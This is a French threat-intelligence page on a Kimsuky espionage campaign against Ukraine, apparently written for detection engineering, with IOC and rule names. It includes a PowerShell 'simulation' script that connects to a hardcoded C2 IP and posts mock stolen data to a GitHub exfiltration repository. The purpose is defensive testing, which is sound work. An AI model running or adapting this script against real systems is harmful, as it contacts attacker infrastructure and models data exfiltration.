Opération GitPower : Espionnage de Kimsuky contre l’Ukraine
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Kimsuky mène actuellement des opérations d’espionnage numérique contre des experts ukrainiens en diplomatie, sécurité et politique internationale. Connue sous le nom d’Opération GitPower, la campagne repose sur l’hameçonnage ciblé par réponse et détourne des plateformes de développement légitimes telles que GitHub, GitLab et Codeberg pour livrer des logiciels malveillants. Les attaquants ont également commencé à utiliser des outils d’IA pour créer des documents leurres et automatiser les processus d’attaque.
Enquête
Les enquêteurs ont examiné plusieurs étapes de l’attaque, y compris des fichiers LNK malveillants déguisés en PDF et de faux installateurs Zoom. Ils ont retracé un flux d’exécution en plusieurs étapes dans lequel des scripts VBScript et PowerShell établissent la persistance via des tâches planifiées. Le groupe utilise des serveurs C2 codés en dur et l’API de GitHub pour effectuer l’exfiltration de données.
Atténuation
Les organisations devraient renforcer leurs capacités de détection EDR et de chasse aux menaces ciblant les abus de fichiers LNK, PowerShell et de services de développement cloud légitimes. Une surveillance stricte des tâches planifiées inhabituelles et des appels d’API non autorisés à GitHub et GitLab est recommandée. Les utilisateurs devraient être formés à reconnaître les tactiques de social engineering sophistiquées basées sur la réponse.
Réponse
Après détection, les intervenants devraient isoler les endpoints affectés pour stopper l’exfiltration de données via les canaux TCP C2 identifiés ou GitHub. Les analystes devraient rechercher les tâches planifiées non autorisées et vérifier le répertoire C:UsersPublic pour les fichiers VBS/PS1 malveillants. Il est essentiel de corréler les exécutions de LNK avec les connexions réseau ultérieures vers des services cloud légitimes.
Flux d’attaque
Nous mettons encore à jour cette partie.
Détections
Fichier LNK potentiellement malveillant avec double extension (via cmdline)
Exécution de fichier PowerShell dans un répertoire suspect en utilisant la politique d’exécution Bypass (via cmdline)
Schtasks pointe vers un répertoire / binaire / script suspect (via cmdline)
LOLBAS WScript / CScript (via process_creation)
Exécution suspecte à partir du profil utilisateur public (via process_creation)
Utilisation suspecte de CURL (via cmdline)
Utilisation suspecte de Invoke-RestMethod (via powershell)
Appel de méthodes .NET suspectes depuis PowerShell (via powershell)
Téléchargement de fichier GitHub potentiellement initié par un processus inhabituel (via network_connection)
Fichiers suspects dans le profil utilisateur public (via file_event)
IOC (HashMd5) à détecter : Opération GitPower de Kimsuky ciblant l’Ukraine Partie 4
IOC (HashMd5) à détecter : Opération GitPower de Kimsuky ciblant l’Ukraine Partie 3
IOC (HashMd5) à détecter : Opération GitPower de Kimsuky ciblant l’Ukraine Partie 2
IOC (HashMd5) à détecter : Opération GitPower de Kimsuky ciblant l’Ukraine Partie 1
IOC (SourceIP) à détecter : Opération GitPower de Kimsuky ciblant l’Ukraine
IOC (DestinationIP) à détecter : Opération GitPower de Kimsuky ciblant l’Ukraine
Détection de connexion TCP C2 et d’exfiltration basée sur GitHub lors de l’activité Kimsuky [Connexion réseau Windows]
Détecter la tâche planifiée GoogleUpdateTaskMachineUA pour l’exécution de script malveillant [Windows Sysmon]
Fichiers LNK utilisés pour exécuter des scripts PowerShell malveillants avec obfuscation et persistance [Création de processus Windows]
Exécution de simulation
-
Narratif & Commandes d’attaque : L’adversaire vise à établir une communication de Command and Control (C2) et à exfiltrer des données sensibles via GitHub. D’abord, l’attaquant établit une connexion TCP à l’IP C2 codée en dur
111.92.246.145sur le port12345pour signaler sa disponibilité. Ensuite, pour éviter la détection par la surveillance traditionnelle du transfert de données, l’attaquant utilise une approche « vivant sur la terre » en téléchargeant un document volé dans un dépôt GitHub via l’API GitHub Contents, imitant spécifiquement l’User-Agent KimsukyGitHub-API/1.0. -
Script de test de régression :
# Script de simulation pour la validation de détection Kimsuky Write-Host "[+] Démarrage de la simulation de Kimsuky..." -ForegroundColor Cyan # 1. Simuler la connexion C2 (TCP 111.92.246.145:12345) Write-Host "[+] Tentative de connexion C2 à 111.92.246.145:12345" -ForegroundColor Yellow try { $tcpClient = New-Object System.Net.Sockets.TcpClient $connection = $tcpClient.BeginConnect("111.92.246.145", 12345, $null, $null) # Nous utilisons un court délai pour que le script ne se bloque pas si l'IP est injoignable $success = $connection.AsyncWaitHandle.WaitOne(2000, $false) if (-not $success) { Write-Host "[!] Échec de la connexion (prévisible si l'IP est hors ligne), mais la télémétrie devrait toujours être enregistrée par Sysmon." -ForegroundColor Gray } $tcpClient.Close() } catch { Write-Host "[!] Erreur pendant la simulation C2 : $($_.Exception.Message)" -ForegroundColor Red } # 2. Simuler l'exfiltration GitHub (POST à l'API GitHub avec un User-Agent spécifique) Write-Host "[+] Tentative de simulation d'exfiltration API GitHub..." -ForegroundColor Yellow $githubUri = "https://github.com/repos/test-attacker/exfil-repo/contents/stolen_data.txt" $userAgent = "GitHub-API/1.0" $headers = @{ "Authorization" = "token FAKE_TOKEN_FOR_TESTING" "Content-Type" = "application/json" } $body = @{ "message" = "Exfiltrating data" "content" = "SGVsbG8gV29ybGQ=" # Base64 pour "Hello World" } | ConvertTo-Json try { # En utilisant -UserAgent pour déclencher la logique de détection spécifique Invoke-RestMethod -Uri $githubUri -Method Post -Headers $headers -Body $body -UserAgent $userAgent } catch { Write-Host "[!] Requête HTTP terminée (404/401 attendu pour URL factice, mais l'User-Agent a été envoyé)." -ForegroundColor Gray } Write-Host "[+] Simulation complète." -ForegroundColor Cyan -
Commandes de nettoyage :
# Aucun artefact persistant n'a été créé par ce script de simulation. # Si des fichiers locaux ont été utilisés pour le contenu, ils devraient être supprimés : Remove-Item -Path ".stolen_data.txt" -ErrorAction SilentlyContinue Write-Host "[+] Nettoyage complet." -ForegroundColor Green